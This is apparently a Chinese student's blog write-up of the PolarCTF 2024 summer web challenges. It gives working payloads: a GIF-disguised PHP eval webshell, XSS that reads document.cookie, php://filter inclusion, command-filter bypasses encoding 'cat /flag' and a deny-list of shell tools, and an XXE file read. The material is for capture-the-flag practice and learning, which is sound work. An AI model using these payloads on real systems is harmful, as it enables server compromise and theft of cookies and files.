polarctf2024夏web部分
orange_www 2024-08-17 11:03:02 阅读 70
前言:比赛并没有参加,趁着复习期末写题目放松一会,学习学习知识。
更多文章请移步0raNe的笔记
Web
upload1
典型的一句话木马,按照流程来就行
直接上传一个图片,不能直接连接成功,试着传入htaccess限定只能上传图片那些,那估计就是改图片为php就行
然后蚁剑连一下就可以了
疑惑:我尝试用jpg上传的时候改末尾并不能成功,看官p用的gif,
<code>GIF89a
<script language='php'>eval($_POST['attack']);</script>code>
按道理也应该正常执行的,并不是很理解。
审计
no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];
if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}
die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。
先上源码,先审计一下代码,大体上应该就是关于md5的知识点
首先不能用数组绕过,然后要0e开头,最后md5加密后不能为数字,直接一把梭了,平时积累的md5加密等于自身就行
扫扫看
提醒我们扫一下,用dirsearch扫一下得到flag.php,进去看看
看一下源码,得到flag
debudao
内容,先看看源码,有个flag是假的(欸
尝试sql注入,好像也不是
尝试ssit注入,也不是
最后发现是xss漏洞,这方面我还没怎么学,等暑假好好补补吧
先用下面的来测试一下,发现有弹窗
<code><script>alert(1)</script>
然后跟着wp写的
<script>alert(document.cookie)</script>
爆出flag,用url解码就可以得到flag了
想法:按照这个方法的话其实好像可以直接用hackerbar看cookie那一栏,并不需要构造xss,重新开一次容器发现方法并不可行,哈哈我自己想多了
Dragon
按照正常思路来走一遍,和上面的差不多但是都没有回显,最后得出也是xss
<code><script>alert(1)</script>
也是用这个得到的但是不能正常弹窗,和官p学习了一下可以用img
<img src=0 onerror =alert(1)>
这样就可以正常的弹窗了,然后和上面的题目一样
<img src=0 onerror =alert(document.cookie)>
获取cookie值,url解码得到flag
感想:任何比赛都能让人找到自己的不足漏洞,之后一定要狠狠学学。
tnl
类型和前几题差不多,也试看看,尝试输入到3的时候会有报错,以为是sql注入,尝试万能语句并没有作用
也尝试了一下xss也没有回显
用bp抓包看看,尝试利用伪协议得到index.php
这是尝试过后发现源码应该后面本身就包含了.php,得到了源码,base64解密一下
<code></form>
<?php
error_reporting(0);
@$file = $_POST['twothree'];
if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>
看了源码可以得知这并不是sql注入,而是一个伪协议绕过的题目,输入1,2,index可以获得相应的内容
那么进行简单的构造,我也是第一次看到这种
twothree=php://filter/convert.base64-encode/index/resource=flag
最后base64解密就可以得到flag了
你知道sys还能这样玩吗
根据提示进入sys.php
<code><?php
show_source(__FILE__);
if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>
和国赛的那个有点类似
方法1:
尝试php -r来进行二次执行
cmd=php -r 'system(hex2bin("6c73202e2e2f"));'
查看
cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'
ff是进行的一个绕过执行,否则得不到
方法2:
cmd=`printf "Y2F0IC8q"|bas""e64 -d`
这里看到一个师傅利用了printf和双引号绕过base64加密的方法得到了答案,也放在这,还是比较巧妙的
方法3:
上面几个都是借鉴的,还有一个办法就是八进制转化,之前写xyctf有一个和这样类似的,我就直接上payload了
cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27
详情可参考,文章,ezrce那个部分
ExX?
先搜看看flag{}有个假的flag,那再看看题目吧
尝试dirsearch扫描得到dom.php,出现了xml的报错很明显就是xxe的漏洞了,同天的lit比赛也是有一个题目是xxe
不知道原理直接上payload之后打算写一篇专题好好学习
<?xml version="1.0" encoding="utf-8"?>code>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flagggg.php" >]>
<user>
<name>&xxe;</name>
</user>
最后base64解密就行
总结
剩下的题目都是考察java类的web题目,我还没学到也暂时没必要跟着复现了,总体来说题目也是较为友好的,自己还是要多复习多刷题,暂时就先到这了。
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。